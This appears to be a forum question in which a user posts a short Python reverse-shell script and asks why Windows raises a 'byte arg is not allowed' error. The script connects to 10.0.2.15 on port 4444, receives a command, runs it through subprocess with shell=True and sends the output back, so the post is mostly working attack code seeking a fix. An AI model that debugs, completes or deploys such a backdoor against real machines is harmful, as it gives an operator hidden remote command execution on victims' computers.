got this error in byte arg is not allowed in windows error

Question

import socket
import subprocess

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect(("10.0.2.15", 4444))


# send data
msg = "\nconnection ok\n"
soc.sendto(msg.encode(), ("10.0.2.15", 4444))


command = soc.recv(200)
cmd = subprocess.check_output(command, shell=True)

soc.sendto(cmd.encode(), ("10.0.2.15", 4444))

soc.close()

I am getting the error "byte arg is not allowed in windows". But i am expecting the output of my given command in admin machine.
